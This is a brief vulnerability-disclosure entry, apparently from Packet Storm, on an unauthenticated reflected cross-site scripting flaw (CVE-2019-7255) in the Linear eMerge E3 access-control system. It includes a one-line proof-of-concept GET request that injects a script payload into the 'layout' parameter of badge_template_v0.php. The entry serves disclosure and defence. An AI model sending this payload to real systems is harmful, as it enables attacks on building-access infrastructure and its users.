Lucene search

K
packetstormLiquidWormPACKETSTORM:155253
HistoryNov 12, 2019 - 12:00 a.m.

Linear eMerge E3 1.00-06 Cross Site Scripting

2019-11-1200:00:00
LiquidWorm
packetstormsecurity.com
59

0.011 Low

EPSS

Percentile

84.7%

`  
Linear eMerge E3 Unauthenticated Reflected XSS  
Affected version: <=1.00-06  
CVE: CVE-2019-7255  
Advisory: https://applied-risk.com/resources/ar-2019-005  
  
Discovered by Gjoko 'LiquidWorm' Krstic  
  
PoC:  
GET /badging/badge_template_v0.php?layout=<script>confirm('XSS')</script> HTTP/1.1  
`

0.011 Low

EPSS

Percentile

84.7%